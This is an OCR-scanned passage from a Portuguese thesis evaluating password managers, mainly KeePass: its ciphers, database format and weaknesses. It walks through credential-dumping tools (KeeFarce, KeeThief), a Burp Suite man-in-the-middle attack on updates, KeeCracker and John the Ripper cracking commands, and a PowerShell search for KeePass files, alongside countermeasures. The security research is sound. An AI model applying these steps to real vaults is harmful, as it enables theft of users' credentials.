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distribuido para um sub-método (G), onde os 4 bytes sao repartidos em unidades, de maneira
a serem subjugados a uma caixa de substituicdo. Em seguida, as pecas sdo agregadas
novamente, num vetor (Gehlot, Biradar & Singh 2013; Schneier et al. 1998; Wilson 2015).
Posteriormente, recorre-se a um mecanismo PHT (Pseudo-Hadamard Transform), é feita uma
adi¢cdo modular (com um fragmento da chave Twofish), um XOR com R,, uma rota¢do de 1 bit
para a direita (Schneier et al. 1998). Compreenda-se PHT como sendo uma forma de desenho,
que mistura duas entradas (B e B'), usando as seguintes regras: a+b e 2a + b, onde a
representa a solugdo conseguida até ao momento e b o resultado paralelo para R;. Isto dara
origem a D e D'. (Rane & Ghorpade 2015; Schneier et al. 1998).

Ha que salientar ainda que o processo para R; é bastante semelhante ao exposto, com o
acréscimo de duas rotacdes a esquerda, troca na ordem das operagdes finais e utilizagdo de R,
em vez de R,. Isto, tal como foi enunciado, é executado vdrias vezes, até ser produzido um
grupo de carateres final, trocando sempre o primeiro conjunto ({Ry,R1}), por um outro
({R'y,R'1}). Ao resultado derradeiro, ¢ empregue um XOR (com C). Por fim, é gerada uma cifra
de 128 bits (Schneier et al. 1998).

De modo a que os algoritmos que foram assinalados funcionem da melhor maneira e estejam
corretamente implementados, todo o cddigo (relacionado com tais mecanismos) que é incluido
pelo KeePass, é validado sempre que a aplicacdo é iniciada (KeePass 2003c).

Além do que foi descrito, as bases de dados estdo dispostas de uma maneira muito prdpria.
Estas podem obter dois tipos de configuracdo (KDB e KDBX), em que a diferenca entre elas se
prende com a versdo usada (1.x e 2.x, respetivamente). Em ambos os formatos, existem duas
partes: o cabecalho e os dados. Visto que a primeira parte é diferente para as duas edicGes,
torna-se fundamental explica-las. Na Tabela 6 sdo expostos os campos incluidos para a extensdo
KDB.

Tabela 6 — Atributos KDB (KeePass 2003b)

Nome do Descrigcdo Tipo de dados Tamanho
atributo (bytes)
dwSignaturel Identificador 1 Inteiro sem sinal 4
(DWORD)
dwSignature2 Identificador 2 Inteiro sem sinal 4
(DWORD)
dwFlags Cifra escolhida para escondera  Inteiro sem sinal 4
informacgéao (DWORD)
dwVersion Versao KeePass aplicada Inteiro sem sinal 4
(DWORD)
aMasterSeed Senha para a codificagdo SHA- Vetor de bytes (BYTE [16]) 16
256
aEncryptionlV Vetor usado para encriptagao Vetor de inteiros sem sinal 16
(UINTS)
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dwGroups Quantidade de grupos existentes Inteiro sem sinal 4
(DWORD)

dwEntries Volume de entradas Inteiro sem sinal 4
(DWORD)

aContentsHash ~ Hash do conteudo da base de Vetor de bytes (BYTE [32]) 32

dados

aMasterSeed2 Valor a empregar na Rijndael Vetor de bytes (BYTE [32]) 32

dwKeyEncRounds Numero de iteragdes AES Inteiro sem sinal 4
(DWORD)

Como se observa no esquema anterior, sdo admitidos 11 itens. Neste grupo, encontram-se
implicitos fatores utilizados na encriptacao (pelo que se deve ter cautela na sua gestdo), bem
como algumas propriedades. Ha ainda que sublinhar que os dois membros iniciais adotam
sempre os valores 0xX9AA2D903 e 0xB54BFB65 em ficheiros KDB (pela ordem descrita), estando
similarmente presentes para a edi¢do 2.x (KeePassX 2016). Nesse caso, o primeiro identificador
é igual a dwSignaturel, enquanto o segundo pode variar entre 0xB54BFB66 e OxB54BFB67
(consoante seja usada uma versdo experimental do programa, ou ndo). Além disto, existem
muitos mais atributos que devem ser ponderados, quando se discute uma base de dados com
o formato KDBX (KeePass 2003b). Estes sdo apresentados em seguida, de modo a uma melhor
compreensao dos headers em questao.

private enum KdbxHeaderFieldID : byte
{
EndOfHeader = 0,
Comment = 1,
CipherID = 2,
CompressionFlags = 3,
MasterSeed = 4,
TransformSeed = 5,
TransformRounds =
EncryptionIV = 7,
ProtectedStreamKey = 8,
StreamStartBytes = 9,
InnerRandomStreamID = 10

6,

Cdédigo 1 — Estrutura KdbxHeaderFieldID (KeePass 2003b)

O extrato disposto foi retirado do cédigo fonte do KeePass (classe KdbxFile, da pasta
Serialization) e representa um conjunto de parametros, que caracterizam a forma de
funcionamento do sistema. Tais configuracGes sdo definidas recorrendo a um método Type-
Length-Value (ou TLV), onde, a cada uma daquelas, corresponde um determinado valor e
tamanho (KeePass 2003b). Torna-se, portanto, interessante descrever as opgdes possiveis:

e EndOfHeader — sinalizacdo de que ja ndo ha mais nada a ler;
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e Comment — comando pouco utilizado; caso preenchido, o seu contetdo é descartado
por ser apenas um comentario;

e CipherID —identificador (UUID) da cifra para a encriptacao;

e CompressionFlags — algoritmo de compress3o do repositério (nenhum ou GZip*);
e MasterSeed — nimero aleatério para a construcdo do segredo SHA-256;

e TransformSeed — senha para Rijndael,

e TransformRounds — rondas executadas em AES;

e EncryptionlV — vetor a ser combinado com TransformSeed,

e ProtectedStreamKey — recurso para codificar as entradas da base de dados;

e StreamStartBytes — bytes para confirmacao da integridade da informacao;

e InnerRandomStreamID — mecanismo secundario para prote¢do de meméria (nenhum,
RC4 e Salsa20).

Quando se utiliza a metodologia indicada (TLV) ndo é possivel prever a grandeza exata dos
dados, uma vez que o comprimento varia consoante o valor aplicado (contrariamente ao que
se passa no formato KDB). Apesar desta distingdo entre as formas de exposicdo da informacao,
comprova-se que a maioria dos campos usados, embora estejam organizados de um modo
diferente, sdo bastante idénticos (KeePass 2003b; Schuster 2015).

O ultimo atributo disponibilizado, tal como foi enunciado, esta relacionado com a salvaguarda
dos processos da aplicagdo. Por omissdo esta armazena alguns elementos (de forma privada),
livrando-se destes logo que seja viavel. Para a defesa daqueles, recorre-se a uma interface de
programacdo denominada DPAPI (ou Data Protection Application Programming Interface). Esta
€ um componente integrado no sistema operativo Windows, que se baseia nas credenciais de
sessdo para facilitar a gestdo de um programa. A DPAPI serve-se de dois membros: o ficheiro
Crypt32.dll (proveniente da CryptoAPI*’) e o sub-recurso Local Security Authority (mais
conhecida por LSA). Basicamente, o primeiro faz chamadas para o restante, de forma a poder
confirmar se o utilizador é vélido e, a partir dai, os dados sdo (des)encriptados (KeePass 2003c;
Microsoft 2001). Note-se que, quando codificados, estes transformam-se numa estrutura BLOB
(Binary Large OBject). Todavia, nem todas as maquinas usam uma solu¢do Microsoft. Para esses
casos, sdo empregues métodos diferentes: RC4 e Salsa20 (KeePass 2003c). Como o primeiro ja
foi relatado atrds (na secgao 5.2.2.5), sera apresentado o segundo.

%6 Fonte: http://www.gzip.org/ (junho 2016)
47 Fonte: https://msdn.microsoft.com/en-us/library/ms867086.aspx (junho 2016)
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Salsa20 trata-se de um conjunto de procedimentos que garantem a seguranca dos dados. Estes
sdo preservados recorrendo a uma matriz (constituida por 16 elementos). Assim, torna-se
interessante mostrar um modelo desta.

C K K K

K C NA NA (12)
CT CT C K

K K K C

Na estrutura anterior, entende-se C como sendo um valor constante (0x61707865,
0x3320646€e, 0x79622d32 e 0x6b206574, sdo os utilizados para produzir resultados de 64 bits),
K uma chave, CT um contador e NA um numero aleatdrio. Tais fatores sdo submetidos varias
vezes (sendo que a quantidade depende da versdo da cifra) a um grupo de adicOes, rotacGes,
operacoes XOR e transposicoes. Apds obter-se o esquema final, este é sujeito ao ultimo célculo
indicado, para se conseguir o segredo derradeiro (Bernstein 2008; Mouha & Preneel 2013). Para
se poder compreender melhor como se processa cada ronda do Salsa20, serdo mencionadas
todas as operacdes a efetuar. Assim, assume-se que a matriz inicial é a que se segue.

(13)

m
Z o« T w
OX®O
U r IO

Destaca-se que as letras representam os mesmos elementos que os apresentados previamente,
porém era necessario diferencia-los, na medida em que devem ser explicados todos os cdlculos
a fazer.

Numa primeira iteragdo, sdo construidas adi¢cGes usando os valores que estdo na diagonal (4,
F,K e P) e os que estdo em cima destes (M, B, G e L, respetivamente), sendo o resultado
armazenado nas Ultimas posi¢des. Em seguida, pratica-se uma rotacdo de 7 bits a esquerda, e
efetua-se um XOR com os nimeros abaixo da diagonal (E, J, O e D). Note-se que, da mesma
forma que M esta acima de A, D estd abaixo de P. Nas trés fases seguintes, sdo feitas trés
somas, onde sdao aplicados os constituintes das diagonais e os que estdo abaixo desta,
comegando-se pelos que se encontram inferiores aos da etapa precedente (I, N, C e H). Séo
também executadas rotagdes (de 9, 13 e 18 bits) para a esquerda e operagdes XOR. Apds todas
as operacgOes anteriores, resta transpor a matriz adquirida pelo conjunto de atividades
praticadas até aquele momento, e verificar que esta estd bastante diferente da fabricada
inicialmente. Ha que salientar que isto so indica uma ronda, pelo que o processo deve ser
repetido multiplas vezes (Bernstein 2008; Mouha & Preneel 2013).
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Para além de tudo o que foi mencionado, podem ser adotadas op¢Ges auxiliares, que ndo estdo
ativas por omissdao. Exemplos como a introducdo da chave-mestra num ambiente protegido
(que previne ataques de keyloggers), bem como o bloqueio da area de trabalho (que evita
acessos indevidos e a perda de informacdo) sdo praticas muito Uteis na salvaguarda dos dados.

Outros recursos que sdo valiosos, e que nem sempre sao empregues pelos utilizadores do
programa em questdo, sdo as extensGes (mais conhecidas por plugins). Sdo descobertas
inimeras ferramentas deste tipo, que simplificam e melhoram a qualidade do produto, pelo
qgue devem ser exploradas e usadas, consoante as necessidades dos clientes (KeePass 2003c).

Ainda que sejam concebidas diversas maneiras de assegurar eficazmente a seguranca do
KeePass, deve ser tido em conta que podem existir, eventualmente, ameacgas que ponham em
causa o que foi dito sobre este.

5.3.2 Vulnerabilidades

Para que se conseguisse testar a aplicacdo foram executadas varias analises, usando o sistema
operativo Windows (contrariamente ao que acontece com os exames praticados previamente),
porque o software em discussdo foi concebido para tal sistema operativo (existindo outras
solucdes para Linux, Android, MacOS*, etc.). Para além disto, hd que destacar que serdo
analisadas as versdes 2.x, visto que estas sdo mais completas que as restantes.

Visto que se trata de um projeto de carater local, é interessante perceber se existe alguma
possibilidade de descoberta de credenciais ou ficheiros guardados nas maquinas dos clientes
(KeePass 2003b).

5.3.2.1 KeeFarce

Constata-se, pelo estudo apresentado no site do KeePass, que existe um projeto, escrito na
linguagem CH#, que permite extrair a informacao, contida numa base de dados local, para um
ficheiro CSV (Comma-Separated Values). O mecanismo tem o nome de KeeFarce® e, embora
nao tenha como objetivo invadir a privacidade dos utilizadores, pode ser aproveitado para o
fazer.

Resumidamente, o KeeFarce aplica uma técnica de injecdo de ficheiros DLL (Dynamic-Link
Library ou Biblioteca de Vinculo Dindmico), usufruindo de uma APl denominada CLR MD*
(KeeFarce 2015; KeePass 2003b). Entenda-se um ficheiro DLL como sendo um agrupamento de
dados e cédigo, que pode ser empregue em simultdaneo em dois ou mais programas distintos;
injecdo DLL, um tipo de ataque, onde instru¢des (maliciosas) contidas nos documentos
anteriores, sdo introduzidas no normal funcionamento de aplica¢gdes (Graham, Howard & Olson

8 Fonte: https://www.apple.com/macos/sierra/ (julho 2016)
49 Fonte: https://github.com/denandz/KeeFarce (julho 2016)
50 Fonte: https://github.com/Microsoft/clrmd (julho 2016)
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2010; Microsoft 2007); e CLR MD, uma biblioteca que lida essencialmente com diagnésticos de
falhas e memdéria (Microsoft 2016).

Para testar as potencialidades da aplicacao, foi preciso criar uma maquina virtual Windows 8.1
e instalar o IDE (Integrated Development Environment, ou Ambiente de Desenvolvimento
Integrado) Visual Studio 20152, visto que era esta a configuracdo necessaria para a extracdo da
informacdo (KeeFarce 2015). Apds ter conseguido o ambiente referido, o software em causa foi
descarregado. Assim, resta executa-lo, sendo que isto pode ser feito de duas maneiras: por via
do Visual Studio, onde a solucdo é compilada e iniciada depois; ou usando a linha de comandos,
executando um ficheiro EXE, existente no diretério prebuilt (onde se encontra o projeto ja
compilado). No final da realiza¢do da tarefa precedente, sera gerado um ficheiro CSV (na pasta
AppData), listando as credenciais contidas numa base de dados KDBX, com o formato: “titulo

da conta”, “nome adotado”, “palavra-chave”, “endereco do site”, “comentarios”. Note-se que
o KeePass deve estar a correr na maquina onde se efetua uma invasao.

Como forma de prevencdo ao que foi exposto, aconselha-se que o utilizador recorra a
instrumentos de seguranga, como por exemplo antivirus ou firewalls, que facilitam a detecdo
de material potencialmente perigoso para um qualquer sistema.

5.3.2.2 KeeThief

O KeeThief*? é um mecanismo muito semelhante com o KeeFarce. Apesar de terem sidos
criados por diferentes autores, atingirem metas distintas (o anterior ambiciona credenciais,
enquanto o presente cobica a chave mestra) e o primeiro suportar mais sistemas que o segundo
(funciona em mais versdes Windows), empregam a mesma técnica (injecdo DLL com KeePass
aberto) sobre a biblioteca CLR MD para a obtencdo de informacao privada. Para que isto ocorra,
€ necessario descarregar e compilar o projeto. Apds estes eventos, basta iniciar uma linha de
comandos, e executar o programa DebugKeeTheft.exe (pasta bin), que expde a senha
pretendida no campo KcpPasswordPlain.

Note-se que as medidas de salvaguarda propostas para o KeeFarce podem e devem ser
desenvolvidas para o KeeThief, na medida em que ambos utilizam o mesmo ataque e tém o
mesmo alvo (CLR MD).

5.3.2.3 Ataque Man-in-the-Middle

Além do que foi enunciado previamente, verifica-se no site do programa que existem problemas
relacionados com a atualizagao deste. Isto é devido a adogdo do protocolo HTTP, em vez de
HTTPS (KeePass 2003d). Para se comprovar esta teoria, foi executado um ataque man-in-the-
middle, recorrendo ao Burp Suite®3. Este permite criar uma entidade intermédia (proxy) na

51 Fonte: https://www.visualstudio.com/ (julho 2016)
52 Fonte: https://github.com/adaptivethreat/KeeThief (julho 2016)
53 Fonte: https://portswigger.net/burp/ (julho 2016)
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comunicacdo entre a aplicacdo e os servidores web de modo a poder observar o que é enviado
de um lado para outro e (caso seja oportuno) modificar o seu contetdo (PortSwigger 2014). A
edicdo usada para a experimentacdo foi a mais recente até ao momento (1.7.03, 12 de julho de
2016).

Ora, para a invasao indicada é necessario seguir um conjunto de passos que permitem que um
individuo malicioso possa reencaminhar o cliente para um local que nao seja seguro. As etapas
a serem tidas em conta sdo:

1. Averiguar se as atualiza¢des sdo ou nao feitas automaticamente. Se sim, a opcdo que o
proporciona deve ser desativada;

2. Iniciar o Burp Suite e configura-lo (alterar o proxy para o enderego pretendido);

3. Confirmar se o que foi definido anteriormente estd em conformidade com as regras
utilizadas pelo navegador web predefinido. Se ndo, a situacdo deve ser corrigida;

4. Habilitar o modo de intercec¢do de pacotes;
5. Aceder ao KeePass e verificar se existem atualizacbes mais recentes;

6. Alterar a versdo do programa a instalar (campo KeePass), pela edicdo da resposta
emitida pelo servidor;

7. Apods a alteragdo da versado, surgira uma janela com as informagdes definidas. Assim,
prime-se duas vezes, com o botdo esquerdo do rato, naquela area, para que se possa
alojar um novo modelo. Isto fard com que o utilizador seja direcionado para o sitio de
melhoramento do produto;

8. Por fim, aplicando uma nova transformacdo ao pacote de resposta, é possivel
encaminhar a vitima para algum local controlado pelo atacante (Bogner 2016).

E de salientar que o que foi explicado sé é conseguido para as segundas versdes do software
(2.x) até a 2.34. Nesta ultima, foi adotado um esquema de ligacdo HTTPS e recorreu-se a
assinaturas digitais, para que se atingisse a protecdo dos dados (KeePass 2003d). Por essa razao,
é sugerida a manutengdo periddica do KeePass, de maneira a que o problema descrito (ou até
mais) nao seja praticavel.

Por outro lado, verifica-se que, quando o programa é instalado, surge uma janela de seguranca
que emprega UAC (User Account Control). Este recurso permite validar se realmente se
pretende efetuar uma determinada acdo, indicando alguma informacdo sobre quem é que
desenvolveu as instrugdes a serem executadas (Microsoft 2008). Ora, para o KeePass, é exposto
“Open Source Developer, Dominik Reichl”.

Analogamente ao que foi dito, um utilizador pode simplesmente verificar as assinaturas digitais
do ficheiro de instalagdo acedendo as suas propriedades (KeePass 2003d).
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5.3.2.4 Outras Descobertas no Site KeePass

No dominio que se destina a assinalar as possiveis ameacas a aplicacdo encontram-se dispostas
mais duas adversidades. Uma delas prende-se com a autenticacdo dos cabecalhos das bases de
dados, enquanto a restante refere-se a suscetibilidade a um ataque de temporizacdo, onde uma
entidade maliciosa tenta conseguir as credenciais de alguém legitimo, tendo em conta o
nimero de operacdes necessdrias para encriptar a informacdo e o seu espaco temporal
(KeePass 2003d; Seibert, Okhravi & Séderstrom 2014).

Todavia, estas dificuldades sao facilmente ultrapassadas, respetivamente, pela atualizacdo da
versdo do programa, e pelo facto de aquele ndo utilizar nenhuma técnica relevante, que possa
prever a sua duracdo (KeePass 2003d). Por estas razdes é que sO serdao enunciadas, e ndo
detalhadamente descritas.

5.3.2.5 KeeCracker

Para além do que é mencionado no website do KeePass, podem ser descobertas algumas
ferramentas que ajudam a descobrir informacgGes confidenciais dos utilizadores da aplicacdo. O
KeeCracker® é um exemplar bastante conhecido. Este é um projeto implementado na
linguagem C#, que permite (caso ndo esteja definido um ficheiro chave) a descoberta da senha
principal, pela execu¢cdo de um ataque de dicionario (Cervoise 2013). Tal como explicado
anteriormente, neste tipo de investida um individuo tenta adquirir elementos utilizados para
iniciar sessdes, baseando-se num recurso que contém uma lista de candidatos a coincidir com
aqueles (Veras, Collins & Thorpe 2014).

Assim, e de modo a testar a funcionalidade descrita, deve ser descarregado o software em causa
e elaborado um documento (recorrendo ao Password Generator®, por exemplo), incluindo um
conjunto de palavras. A seguir, ha que inicializar uma linha de comandos, alterar o diretdrio (de
maneira a atingir-se o que se pretende), e finalmente, executar a instrugado:

KeeCracker.exe -w <lista>.txt <base_de_dados>.kdbx

Esta utiliza como parametros um ficheiro de texto com o conteldo indicado, e o repositdrio que
se quer aceder. E de destacar que pode ainda ser definida a opcdo de concorréncia -t, que
possibilita a execugdo paralela de varias threads (Cervoise 2013).

O KeeCracker é também aplicavel em conjunto com o John The Ripper. Para que isto seja
possivel, tera de ser usado um comando parecido com:

john.exe -incremental -stdout | KeeCracker.exe -w - <base_de_dados>.kdbx

54 Fonte: http://keecracker.mbw.name/ (julho 2016)
55 Fonte: http://blog.devconsoft.se/password-generator/ (julho 2016)
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, onde <base_de_dados> representa o depdsito da informacdo. Neste caso, contrariamente ao
gue acontecia precedentemente, vao ser validadas palavras de forma incremental, e ndo
utilizando um diciondario (Cervoise 2013).

Tendo o que foi previamente apontado em conta, apesar de nem sempre ser facil encontrar o
segredo concebido por uma determinada pessoa, hd que ter em atencdo que este deve ser
elaborado quer usando um numero elevado como uma grande variedade de carateres e, de
preferéncia, aconselha-se que ndo tenha um significado simples de descodificar. Desta forma,
sera complicado para um potencial atacante atingir o seu objetivo.

5.3.2.6  Armazenamento Local

Constatou-se ainda que, ao aceder ao ficheiro de configuracdo do KeePass, consegue-se
descobrir aonde é que algumas bases de dados (recentemente abertas) estdo localizadas
(observando os elementos LastUsedFile, MostRecentlyUsed e Defaults).

Normalmente, o documento é localizado na pasta AppData, contudo tal pode ndo acontecer.
Para estas ultimas situagOes, recorre-se a PowerShell do Windows, usando um comando
semelhante ao seguinte:

Get-Childitem -Path C:\ -Include @("*keepass*") -Force -Recurse -ErrorAction SilentlyContinue
| Select-Object -Expand FullName | fl

Isto permitird que sejam encontrados todos os recursos (visiveis ou ocultos) que estejam na
particdo C e com a palavra keepass no seu nome (HarmjOy 2016). Assim, a destrui¢cdo desta
informacdo, a sua encriptacdo (pela sele¢do da opgao Encriptar conteudo para proteger dados
nas propriedades do ficheiro) ou o uso de um software (Folder Guard®) que proteja o
repositério destes dados com uma senha poderdo ser solugdes viaveis.

5.3.2.7 Dicas Auxiliares

Para além de todas as ameacgas que foram enunciadas existem algumas decisGes que podem
ser tomadas, de forma a aprimorar a seguranga do KeePass. Estes mecanismos serdo
apresentados na lista a seguir:

e Automatizacdo das atualizacbes — como foi descrito previamente, é de maior
importancia que as atualizagOes das versdes, sejam efetuadas de maneira espontanea
(para que ndo haja viabilidade para uma invasdo man-in-the-middle);

56 Fonte: http://www.folder-guard.com/ (julho 2016)
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5.3.3

Adicdo ao numero de rondas para a dedugdo da chave de encripta¢ao — a quantidade
por omissdo é 6000, porém podem (e devem) ser acrescentadas mais algumas
iteracGes, caso o hardware lide bem com tal modificacdo (KeePass 2003c);

Alteracdo da senha mestra periodicamente — existe uma op¢do no programa, que
permite forgcar um utilizador a mudar o seu cddigo de acesso, regularmente (num
periodo ajustavel de dias).

Bloqueio do ambiente — sempre que se preveja a inatividade da aplicacdo, por uma
longa duracdo, deve-se proceder ao seu blogueio. Assim, previne-se que, na auséncia
do cliente, o KeePass nao sofra investidas imprevisiveis.

Lembrar ficheiros recentemente utilizados — Nas preferéncias indicadas no software,
pode ser definido o nimero de documentos a serem recordados, que foram abertos ha
pouco tempo.

Copias para area de transferéncia — apesar de tudo o que é passado para a zona
denominada de clipboard ser eliminado (apds alguns segundos), ha que ter atencdo a
possiveis técnicas de visualizacdo dos dados (Free Clipboard Viewer*’, por exemplo).

Entrada do segredo principal num ambiente seguro — tal como ja foi mencionado, é
aconselhada a aplicacdo a regra Enter master key on secure desktop, para que ndo
sejam previstos ataques (usando keyloggers).

Abertura automatizada da ultima base de dados — esta propriedade necessita de ser
desabilitada, em caso de ndo se pretender que se saiba qual o repositério que guarda
a informacao.

Conclusoes da Analise ao KeePass

Tendo em conta todo o conhecimento pesquisado e adquirido sobre o KeePass, admite-se que

o engenho implementado por Dominik Reichl é muito interessante e bem documentado (em

sitios web). Este adota duas edi¢cbes (1.x e 2.x), que se distinguem pelo nimero de

funcionalidades (sendo a segunda mais completa). Em ambas as versdes, a informagdo é

disposta numa base de dados (com formatos KDB e KDBX, respetivamente), que se encontra

assegurada pelo mecanismo AES (ou, opcionalmente, Twofish, para 1.x). Nestes, é aplicada uma

chave que é desenvolvida a partir de um codigo principal (definido na primeira vez que se

configura o repositdrio falado).

Para além da codificacdo, o software possui diversas maneiras de proteger os seus utilizadores

(por exemplo, pelo estabelecimento de um ambiente seguro, quando se digita a senha mestra).

57 Fonte: http://www.freeclipboardviewer.com/ (julho 2016)
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Porém, isto ndo garante que seja imune a invasoes. Até porque é até muito vulneravel a ataques
de carater local.

Apesar do programa em causa s6 poder ser atacado quando se consegue o acesso ao sistema
(habitualmente fisico, ou remoto, recorrendo a uma técnica de controlo a distdncia), contém
diversas dificuldades, que podem obter um impacto critico. Por exemplo, as ferramentas
KeeFarce e KeeCracker (que sdo bastante conhecidas) produzem um efeito devastador ao
repositério de dados.

Como nota final, aponta-se o KeePass como sendo uma ferramenta muito util (salvaguarda
minimamente os dados) e acessivel (projeto bastante divulgado), todavia também bastante
fragil, atendendo aos recursos disponibilizados na Internet.

5.4 Resumo da Analise aos Gestores Anteriores

Apds a andlise dos gestores de palavras-chave selecionados, conclui-se que estes sdo muito
completos e asseguram a seguranca da informacdo. Todos eles incorporam métodos de
encriptacdo avancados, contudo sdo distintos. Na Tabela 7 é apresentado um resumo das
diferencas encontradas.

Tabela 7 — Sintese das caracteristicas dos gestores escolhidos

Caracteristicas LastPass Dashlane KeePass
Tipo de gestdo VINIV VIV IV Originalmente local,
(Local/Baseada na mas pode-se tornar
web/Mavel) baseada na web e
movel
Plataformas para IV VXV Versdo discutida é
computador destinada a
(Windows/Linux/MacOS) Windows, porém
existem outras para
Linux e Mac
Plataformas para dispositivos /v /v VIV X Existem programas
moveis do mesmo criador
(Android/iOS/Windows para Android, i0S%,
Phone) Windows Phone,

Blackberry OS,
J2ME®! e Palm 0S®?

Plataformas para N4 N4 Note-se que, por
navegadores web (Mozilla omissdo, ndo é

%8 Fonte: www.apple.com/pt/ios/ (julho 2016)

59 Fonte: https://support.microsoft.com/pt-pt/products/windowsphone (julho 2016)

80 Fonte: http://global.blackberry.com/en/software/smartphones/blackberry-10-o0s.html/ (julho 2016)
61 Fonte: http://www.java.com/pt BR/download/fag/whatis j2me.xml (julho 2016)

62 Fonte: https://www.palmsource.com/palmos/ (julho 2016)
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Firefox, Google Chrome,
Internet Explorer, Safari e
Opera)

Arquitetura

Armazenamento
(Local/Remoto)

Mecanismos de encriptacdo

Certificado TLS

2FA

Partilha de senhas

Sincronizacao

Vulnerabilidades com
impacto elevado

Palavra-chave
mestra para
autenticagdo e
encriptagao

VIV

PBKDF2
HMAC-SHA256
AES

TLS/SSL

GlobalSign EV

Recorrer aos
repositérios
locais e
Metasploit

& Fonte https://keeweb.info/ (julho 2016)
64 Fonte https://bitbucket.org/devinmartin/keeotp/wiki/Home (julho 2016)

Palavra-chave
mestra para
encriptagao e
chave de
dispositivo para
autenticacao

v /v (versdo paga)

PBKDF2
HMAC-SHA1
AES

TLS/SSL

DigiCert CA-3

v

Versao paga

Nenhum problema
relevante a
apontar

8 Fonte https://sourceforge.net/projects/keepasssync/ (julho 2016)
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suportado nenhum
navegador, porém é
possivel, ao se
instalar o KeeWeb®

Palavra-chave
mestra para
autenticagao e
encriptacdo

Por definigao local,
porém (com a ajuda
de mecanismos
adicionais) também
remoto

SHA-256
AES
Twofish

v

Pela instalagdo de
extensoes (por
exemplo, KeeOtp®¥)

v

Copiando a base de
dados (e o ficheiro
chave, caso
necessario)

v

Local ou usando um
plugin (por exemplo,
KeePassSync®)
KeeFarce e
KeeCracker
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Fontes encontradas Muitos/Alguns Poucos/Poucos Muitos/Poucos
(websites/artigos e
documentos técnicos)

Como se pode comprovar na estrutura exposta, as diferencas comecam no tipo de
administragdo. Enquanto o LastPass e o Dashlane oferecem solugdes de todos os géneros, o
restante (por omissdo) s6 se destina ao uso local. Por outro lado, este ultimo destaca-se pela
multiplicidade de plataformas suportadas.

Em termos de desenho da aplicacdo, o software disposto na coluna do meio, é o que se destaca
mais. Este, ao contrdrio dos demais, possui uma estrutura pouco comum, na medida que
emprega mais do que um elemento, para proporcionar a estabilidade do sistema. Este facto
garante que ndo haja quaisquer ameacas pertinentes a assinalar (contrastando com o que se
passa com os outros).

No que toca a funcionalidades (2FA, partilha de senhas e sincronizagdo), é destacado o LastPass,
visto que tudo o que é cedido por este, é gratuito, e ndo é preciso recorrer a técnicas auxiliares,
para que tudo esteja acessivel ao utilizador.

Além disto, embora o KeePass tenha a informacdo distribuida de forma mais clara, aquele
gestor é o que a tem mais disponivel (quer em termos de referéncias de websites, quer em
arquivos cientificos). E também de salientar que o Dashlane n3o tem muitas fontes, e as poucas
que tem, repetem muito conhecimento (o que faz com que o projeto esteja salvaguardado).

Finalmente, assume-se que este Ultimo programa é o que responde melhor aos requisitos que
eram propostos (em relacdo as restantes escolhas), sendo altamente aconselhada a sua
utilizagdo, visto que nao foram descobertos riscos de impacto elevado.
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6 Avaliacao de Abordagens Anteriores

De forma a aprofundar algumas questdes mencionadas previamente (como a quantificacdo do
uso dos gestores de palavras-chave), bem como a disponibilizar mais conhecimento sobre o
tema em causa, foram elaborados alguns testes. Estes adotam o formato de uma andlise de
seguranca e dois questionarios, e fornecem, ao leitor, uma noc¢do de quanto tempo é que é
preciso para se conseguir penetrar as técnicas usadas nos programas que existem, e uma
melhor compreensdo dos habitos atuais dos utilizadores de password managers,
respetivamente. Visto que tais exames sdo fundamentais para a compreensao das dimensdes
explicadas, serdo descritos no presente capitulo.

6.1 Testes Propostos

Tendo em conta o que foi apresentado até ao momento, admite-se que, qualquer que seja a
aplicagdo utilizada na gestdao de passwords, tem as suas vulnerabilidades (por mais pequenas
que sejam). Para comprovar isto, foram efetuadas multiplas tentativas de aquisi¢do a recursos
gue substituem a senha de inicio de sessdo. Contudo, é interessante, também, prever quanto
tempo se demora a adquirir o segredo por via de forga-bruta/dicionario. Assim, sdo sugeridas
analises que atestam os trés algoritmos que sdo usados pelas plataformas em questdo (HMAC-
SHA256, HMAC-SHA1 e SHA-256). Para a sua realizacdo recorreu-se ao software Hashcat®®, pois
este permite fazer um ataque de forga bruta que tenta decifrar um dado hash a partir de um
conjunto de combinagbes (e, neste caso, um grupo de chaves). A escolha deveu-se a sua
simplicidade de utilizacao, bem como ao grau de reconhecimento que o carateriza.

Por outro lado, é essencial perceber quais sdo os habitos dos utilizadores dos mecanismos (que
tipo de programas é que usam/utilizaram; se ndo os empregam, porque o fazem; etc.). Assim,
foi pensada a construcdo de dois inquéritos que visam dar resposta a estas perguntas. Ambos
terdo um conteudo similar, porém o primeiro serd destinado a um publico geral (constituido
por pessoas aleatdrias, de diferentes cursos), enquanto o restante atingira, unicamente,

% Fonte: https://hashcat.net/hashcat/ (julho 2016)
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individuos da area de Informatica. Esta separacdo foi feita de modo a que se pudesse alcancar
uma comparacao de opinides, estabelecendo duas perspetivas: uma mais genérica e outra mais
técnica. Para que os resultados sejam confrontados, foi pensado um teste A/B (disposto na
conclusdo).

Na idealizac3o destes elementos, foi usada a ferramenta Google Forms®” (ou Formuldrios
Google, em portugués). Inicialmente, pensou-se usar o SurveyMonkey®, todavia averiguou-se
que, apesar de este ser mais completo, tem uma interface mais confusa, e é menos utilizado
que o anterior.

6.2 Discussao de Resultados

Apds terem sido desenvolvidas e empregues as técnicas explicadas na sec¢do 6.1, torna-se
relevante indicar os resultados e as conclusdes que se podem tirar. Esta parte do documento
esta dividida em trés partes (exame de HMAC-SHA256, HMAC-SHA1, SHA-256 e de inquéritos),
para que se consiga um melhor entendimento das diferentes abordagens.

6.2.1 Analise HMAC-SHA256

Foi anteriormente entendido que o LastPass usa HMAC-SHA256, para proceder a salvaguarda
da informacgdo. Tal algoritmo, apesar de envolver um grande periodo de tempo e um poder
computacional elevado para a inversdo dos valores resultantes, bem como uma grande parte
das restantes alternativas (por exemplo, o MD5), ndo é infalivel. Por essa razdo, em seguida,
serdo apresentados na Tabela 8 os resultados obtidos da andlise, separados em dois modos de
processamento. No primeiro (solugdo otimizada), assume-se que se conhece o niumero exato
de carateres e, por isso, é aplicado um teste a medida. Ja no outro, é estimado um intervalo
demarcado (de um até ao total de carateres real), usado para a construcao do cddigo.

Tabela 8 — Resultados sintetizados para HMAC-SHA256

Abordagem Numero  Chaves Numero de alternativas possiveis Velocidade Tempode Tempo
de utilizadas (combinagdes  execugdo  estimado
carateres por segundo) (em

minutos)
Otimizada 1 a,l @, 95 - 00:00- -
al, 1@, 00:01
a@, al@,
la@,
@al
3 a, @al 857375 587960- 00:01
718670
5 a, @al 81450625 2.79-5.78 01:17- 22:53-
milhGes 27:52 49:05

57 Fonte: https://www.google.com/forms/about/#start (julho 2016)
